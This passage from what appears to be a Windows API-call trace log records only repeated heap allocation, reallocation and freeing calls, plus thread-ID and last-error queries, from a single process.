hHeap=0x2ad0000) returned 1 [0076.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.409] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d0de0, Size=0x120) returned 0x2c374c0 [0076.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.410] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x33e7a88 [0076.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.412] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33e7a88, Size=0x1a8) returned 0x30285c8 [0076.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.413] GetCurrentThreadId () returned 0x9b0 [0076.413] GetCurrentThreadId () returned 0x9b0 [0076.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30285c8 | out: hHeap=0x2ad0000) returned 1 [0076.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb0) returned 0x33ded28 [0076.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ded28 | out: hHeap=0x2ad0000) returned 1 [0076.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183be0 [0076.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31838e0 [0076.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0076.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85820 [0076.413] GetCurrentThreadId () returned 0x9b0 [0076.413] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85820, Size=0x20) returned 0x30282d8 [0076.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x491) returned 0x36207f0 [0076.414] GetCurrentThreadId () returned 0x9b0 [0076.414] GetLastError () returned 0x0 [0076.414] GetCurrentThreadId () returned 0x9b0 [0076.414] GetLastError () returned 0x0 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ad400 | out: hHeap=0x2ad0000) returned 1 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de498 | out: hHeap=0x2ad0000) returned 1 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c858e0 | out: hHeap=0x2ad0000) returned 1 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c857d8 | out: hHeap=0x2ad0000) returned 1 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c856b8 | out: hHeap=0x2ad0000) returned 1 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85778 | out: hHeap=0x2ad0000) returned 1 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85868 | out: hHeap=0x2ad0000) returned 1 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85478 | out: hHeap=0x2ad0000) returned 1 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85490 | out: hHeap=0x2ad0000) returned 1 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c853d0 | out: hHeap=0x2ad0000) returned 1 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85538 | out: hHeap=0x2ad0000) returned 1 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0076.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85718 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c853e8 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85358 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c854f0 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b00 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85460 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c853b8 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85448 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85328 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838c0 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c853a0 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85508 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c855c8 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c854a8 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85388 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183aa0 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85568 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85418 | out: hHeap=0x2ad0000) returned 1 [0076.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5b8 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c855b0 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c855e0 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85430 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85520 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85598 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85550 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c854d8 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85310 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85400 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85340 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c852f8 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18e18 | out: hHeap=0x2ad0000) returned 1 [0076.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85880 | out: hHeap=0x2ad0000) returned 1 [0076.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c856b8 [0076.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85658 [0076.416] GetCurrentThreadId () returned 0x9b0 [0076.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3667a48 | out: hHeap=0x2ad0000) returned 1 [0076.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.417] GetCurrentThreadId () returned 0x9b0 [0076.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.417] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x361eb00, Size=0x941) returned 0x3620c90 [0076.417] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3620c90, Size=0xf9a) returned 0x3620c90 [0076.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3620c90 | out: hHeap=0x2ad0000) returned 1 [0076.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.417] GetLastError () returned 0x0 [0076.417] GetLastError () returned 0x0 [0076.417] GetCurrentThreadId () returned 0x9b0 [0076.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.418] GetCurrentThreadId () returned 0x9b0 [0076.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.418] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85658, Size=0x10) returned 0x2c85670 [0076.418] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c856b8, Size=0x10) returned 0x2c85688 [0076.418] GetCurrentThreadId () returned 0x9b0 [0076.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de688 [0076.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de688 | out: hHeap=0x2ad0000) returned 1 [0076.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c857c0 [0076.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.419] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85670, Size=0x10) returned 0x2c85838 [0076.419] GetCurrentThreadId () returned 0x9b0 [0076.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85820 [0076.419] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85688, Size=0x10) returned 0x2c85700 [0076.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.419] GetCurrentThreadId () returned 0x9b0 [0076.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0076.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c857c0 | out: hHeap=0x2ad0000) returned 1 [0076.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0076.420] GetCurrentThreadId () returned 0x9b0 [0076.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de538 [0076.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0076.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c856a0 [0076.420] GetCurrentThreadId () returned 0x9b0 [0076.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de538 | out: hHeap=0x2ad0000) returned 1 [0076.420] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85838, Size=0x10) returned 0x2c858c8 [0076.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85850 [0076.420] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85700, Size=0x10) returned 0x2c85718 [0076.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.421] GetCurrentThreadId () returned 0x9b0 [0076.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4c8 [0076.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c856a0 | out: hHeap=0x2ad0000) returned 1 [0076.421] GetCurrentThreadId () returned 0x9b0 [0076.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de658 [0076.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4c8 | out: hHeap=0x2ad0000) returned 1 [0076.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4d8 [0076.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de658 | out: hHeap=0x2ad0000) returned 1 [0076.421] GetCurrentThreadId () returned 0x9b0 [0076.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de588 [0076.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4d8 | out: hHeap=0x2ad0000) returned 1 [0076.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de678 [0076.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de588 | out: hHeap=0x2ad0000) returned 1 [0076.421] GetCurrentThreadId () returned 0x9b0 [0076.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de668 [0076.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de658 [0076.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de678 | out: hHeap=0x2ad0000) returned 1 [0076.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85730 [0076.422] GetCurrentThreadId () returned 0x9b0 [0076.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de658 | out: hHeap=0x2ad0000) returned 1 [0076.422] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c858c8, Size=0x10) returned 0x2c85760 [0076.422] GetCurrentThreadId () returned 0x9b0 [0076.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85880 [0076.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85658 [0076.422] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85718, Size=0x10) returned 0x2c85898 [0076.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.422] GetCurrentThreadId () returned 0x9b0 [0076.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c858b0 [0076.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de668 | out: hHeap=0x2ad0000) returned 1 [0076.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0076.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 